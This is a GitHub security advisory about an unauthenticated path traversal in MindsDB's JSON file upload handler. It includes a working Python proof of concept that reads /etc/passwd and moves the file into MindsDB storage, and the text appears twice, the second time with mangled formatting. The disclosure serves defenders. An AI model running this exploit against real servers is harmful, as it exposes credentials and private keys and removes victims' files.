Headline

GHSA-qqhf-pm3j-96g7: MindsDB has improper sanitation of filepath that leads to information disclosure and DOS

Summary

An unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data. Severity: High.

Details

The PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and source_type is not "url":

data = request.json (line ~104) accepts attacker input without validation.
file_path = os.path.join(temp_dir_path, data["file"]) (line ~178) creates the path inside a temporary directory, but if data["file"] is absolute (e.g., /home/secret.csv), os.path.join ignores temp_dir_path and targets the attacker-specified location.
The resulting path is handed to ca.file_controller.save_file(...), which wraps FileReader(path=source_path) (mindsdb/interfaces/file/file_controller.py:66), causing the application to read the contents of that arbitrary file. The subsequent shutil.move(file_path, ...) call also relocates the victim file into MindsDB’s managed storage.

Only multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to clear_filename or equivalent checks.

PoC

Run MindsDB in Docker:

docker pull mindsdb/mindsdb:latest
docker run --rm -it -p 47334:47334 --name mindsdb-poc mindsdb/mindsdb:latest

Execute the exploit from the host (save as poc.py and run with python poc.py):

# poc.py
import requests, json

base = "http://127.0.0.1:47334"
payload = {"file": "../../../../../etc/passwd"}  # no source_type -> hits vulnerable branch

r = requests.put(f"{base}/api/files/leak_rel", json=payload, timeout=10)
print("PUT status:", r.status_code, r.text)

q = requests.post(
    f"{base}/api/sql/query",
    json={"query": "SELECT * FROM files.leak_rel"},
    timeout=10,
)
print("SQL response:", json.dumps(q.json(), indent=2))

The SQL response returns the contents of /etc/passwd . The original file disappears from its source location because the handler moves it into MindsDB’s storage directory.

Impact

Any user able to reach the REST API can read and exfiltrate arbitrary files that the MindsDB process can access, potentially including credentials, configuration secrets, and private keys.

1 month ago

ghsa

Open in Source

#sql #js #git #auth #docker #sap

Summary

Details

The PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and source_type is not "url":

data = request.json (line ~104) accepts attacker input without validation.
file_path = os.path.join(temp_dir_path, data[“file”]) (line ~178) creates the path inside a temporary directory, but if data[“file”] is absolute (e.g., /home/secret.csv), os.path.join ignores temp_dir_path and targets the attacker-specified location.
The resulting path is handed to ca.file_controller.save_file(…), which wraps FileReader(path=source_path) (mindsdb/interfaces/file/file_controller.py:66), causing the application to read the contents of that arbitrary file. The subsequent shutil.move(file_path, …) call also relocates the victim file into MindsDB’s managed storage.

Only multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to clear_filename or equivalent checks.

PoC

Run MindsDB in Docker:

docker pull mindsdb/mindsdb:latest docker run --rm -it -p 47334:47334 --name mindsdb-poc mindsdb/mindsdb:latest
Execute the exploit from the host (save as poc.py and run with python poc.py):

# poc.py import requests, json

base = “http://127.0.0.1:47334” payload = {"file": "…/…/…/…/…/etc/passwd"} # no source_type -> hits vulnerable branch

r = requests.put(f"{base}/api/files/leak_rel", json=payload, timeout=10) print("PUT status:", r.status_code, r.text)

q = requests.post( f"{base}/api/sql/query", json={"query": "SELECT * FROM files.leak_rel"}, timeout=10, ) print("SQL response:", json.dumps(q.json(), indent=2))
The SQL response returns the contents of /etc/passwd . The original file disappears from its source location because the handler moves it into MindsDB’s storage directory.

Impact

Any user able to reach the REST API can read and exfiltrate arbitrary files that the MindsDB process can access, potentially including credentials, configuration secrets, and private keys.

References